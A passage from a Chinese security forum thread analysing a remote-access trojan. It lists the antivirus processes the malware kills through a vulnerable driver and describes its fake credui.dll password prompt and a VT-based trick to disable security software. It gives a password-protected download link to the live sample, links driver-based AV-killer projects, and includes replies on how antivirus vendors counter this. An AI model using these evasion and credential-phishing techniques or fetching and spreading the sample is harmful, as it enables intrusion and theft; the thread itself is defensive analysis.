    "ServUDaemon.exe",
    "BaiduSdSvc.exe",
    "wsctrl.exe",
    "usysdiag.exe",
    "HipsDaemon.exe",
    "wsctrlsvc.exe",
    "HipsMain.exe",
    "HipsTray.exe"
};

在这里面的进程都会被他使用驱动给KILL

这些代码(CTL_CODE)也是作者抓的吗?

又错了

这个三开远控最大的特点就是 东西都能在github找到

https://github.com/ph4nt0mbyt3/Darkside
https://github.com/0sha0/TrueSightKiller/

密码欺骗.dll

我看到这个DLL 我下意识以为是

写lsass内存让密码干嘛干嘛 或者是 通过别的密码覆盖User的密码

我看完之后 才知道 这东西 是

社会工程学

啊!!!

用credui.dll创建类似那种登入界面 然后让用户自己输密码


虚拟化互斥

WeGame开启的时候会开启VT

利用VT的独占特性 就是所谓的 "虚拟化互斥"了

流程大概是释放WeGame.exe(但是不能是Wegame.exe 也就是换个名字)

然后让他开启VT




实物下载链接

https://www.lanzoub.com/b00l0ra6qh
密码:ctod

引用的 github

https://github.com/schellingb/DLLFromMemory-net
https://github.com/ph4nt0mbyt3/Darkside
https://github.com/0sha0/TrueSightKiller/
此贴仅供学习交流 禁止用于非法用途


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞5
打赏
分享
最新回复 (5)
雪    币: 19439
活跃值: (29120)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-4-11 10:32
2
1
感谢分享
雪    币: 405
活跃值: (1900)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wowocock 1 2024-4-11 13:49
3
3
针对TrueSight驱动利用,这方面卡巴做的比较好,应该是做了针对性的处理,其会挂钩NtDeviceIoControl,解析其中的控制码和参数,所以能用驱动干掉其他程序,但却干不掉卡巴的程序。另外用Restart Manager API来杀进程,一般也不太好防,比如360需要在核晶中挂钩,才能拦截,所以触发了他后面的利用第三方VM程序,来欺骗360这种为了兼容性考虑,临时关闭核晶。然后再杀进程。虽然相应的漏洞360也进行了修补,但总是问题,所以后续可能会加入INFINITY HOOK,在临时退核晶的时候,进行补缺。
雪    币: 134
活跃值: (208)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakahu 2024-4-12 00:22
4
0
https://www.cyberspike.top
吉ICP备2023008137号-2
正规公司
雪    币: 1213
活跃值: (1099)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
风铃i 2024-4-12 09:09
5
0
高危行为,杀软都是白名单机制,再怎么改改也是屁用没有。有这闲钱不如去买白签名
雪    币: 255
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
ShaShen4404 2024-4-12 13:21
6
0
风铃i 高危行为,杀软都是白名单机制,再怎么改改也是屁用没有。有这闲钱不如去买白签名

这个东西引起人兴趣的就是他的加载器

但是目测比较垃圾 都懒得看了

简单的动态加载shellcode而已

其他的种子应该也有反射加载什么的

但是我不觉得会强悍到哪里去

也就欺负欺负国内的360和火绒了

游客
登录 | 注册 方可回帖
返回